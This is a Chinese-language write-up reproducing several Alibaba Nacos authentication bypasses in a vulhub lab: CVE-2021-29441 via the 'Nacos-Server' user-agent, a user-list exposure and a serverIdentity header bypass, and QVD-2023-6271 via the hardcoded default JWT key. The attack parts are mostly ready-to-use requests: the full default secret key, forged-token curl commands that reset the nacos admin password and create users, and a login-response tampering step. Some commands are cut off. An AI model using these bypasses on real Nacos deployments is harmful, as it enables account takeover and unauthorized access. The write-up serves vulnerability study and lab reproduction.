Nacos简介
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
复现环境搭建
本次复现环境使用的是vulhub中的CVE-2021-29441靶场。
使用docker-compose up -d启动靶场即可。登录页面如下:
漏洞复现
Alibaba Nacos未授权访问CVE-2021-29441
漏洞简介
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本
Nacos <= 2.0.0-ALPHA.1
漏洞复现
查看用户列表:http://192.168.80.131:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
直接get方式访问该路径会403,将user-agent头修改为Nacos-Server即可绕过403。
此时看到响应包中包含了系统存在的用户名nacos,密码为加盐之后的值。
添加一个新用户。
然后再去访问之前的链接,查看用户是否成功添加。
从上图可以看到test用户成功添加,使用test用户登录系统。
工具探测
nuclei脚本:nuclei-templates\http\cves\2021\CVE-2021-29441.yaml
Nacos默认配置未授权访问漏洞和2.2.0绕过
漏洞简介
攻击者可以未授权获取nacos系统的所有账号。
漏洞复现
默认配置POC:
http://192.168.174.236:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
可以通过修改pageNo参数的值来查看目标系统内所有账号。
Nacos2.2.0权限绕过
Header中添加serverIdentity: security能直接绕过身份验证查看用户列表
如果没有或者不对应则返回403
Nacos默认key导致权限绕过登陆QVD-2023-6271
漏洞简介
Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户。影响版本:0.1.0<=Nacos<=2.1.0
漏洞复现
在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
获取token
利用该默认的key进行jwt构造,直接进入后台,构造方法:
在jwt.io在线网站中,输入默认key:SecretKey012345678901234567890123456789012345678901234567890123456789
,然后修改payload的值。exp参数的值是unix时间戳,这个时间戳代表着accessToken的过期时间,所以要将时间戳往后面设。
利用一:修改nacos用户密码,将密码修改为123456
curl -X PUT "http://192.168.80.131:8848/nacos/v1/auth/users?username=nacos&newPassword=123456&pageNo=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MzA1OTQyMX0.rh3mpIO1GQ8liXkza9ZRoi2u21S1uhKVFioxAwkIrFk"
使用修改后的密码进行登录。
利用二:新建test用户
curl "http://192.168.80.131:8848/nacos/v1/auth/users" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MzA1OTQyMX0.rh3mpIO1GQ8liXkza9ZRoi2u21S1uhKVFioxAwkIrFk" -d "username=test1&password=test
利用三:利用accessToken登录,密码错误也可以直接登录。
拦截登录请求包,发送请求包,然后修改返回包,将上图生成的响应包进行替换,全部复制过去:
参考链接:https://mp.weixin.qq.com/s?__biz=MzU2MzY1NjU3Ng==&mid=2247485077&idx=1&sn=c9f0600400b44822ab26a55412f3d4b3&chksm=fc57a47acb202d6c42c5789af9f99e82c9a795f0f5da22aa561419d336a0a169f14fd6d4b851&scene=126&sessionid=1679659758&key=67b57c8e46f5d1d80c2bb9519c7d74d16cc231641e6dd80f4e4b954dee64cc2a5d73cb0875d853384d6a4c7c359804aa6f1004d55be0d4883c9bb5ae47daeb867a1a96bfea20047eb4e56a9fea9586821130e529321a445fba24b3786151267137c18d49fb82e41ecb6e57ee63b9238e2c14b2a855c721ac4db40dd3636a5054&ascene=0&uin=NTY2NTA4NjQ%3D&devicetype=Windows+10+x64&version=6309001c&lang=zh_CN&countrycode=AL&exportkey=n_ChQIAhIQZqFRak0%2Bok%2BVGAxQEBbQFRLfAQIE97dBBAEAAAAAAKEgF5xO7GQAAAAOpnltbLcz9gKNyK89dVj0%2BMcURInU5fitAeFmyI82mXQsUmaDB7mzukPjcXxQsbwc67WfJrcVhzy0kN57ErDJaPf7FSpzaJaQb7mTO%2FshIn1ZYM0pHPFzePlUrrhjNmCZoUa5rIB3fYVYr44JJCcjIg9LHFQbCKEnr5jyWrl2w0pUUSTVIyN8bFvRhgxvekRkiBuCi7VrMhIM36wWl85B4xaEZouVlJBmtLQI2X%2BnGSeU%2F1RsTLcAgUk%2BtyrGwlLF%2BsMC33v0xy8%3D&acctmode=0&pass_ticket=rDVx6Pa2XzsX0AcufBVzVRDTFmxP%2BXUFJ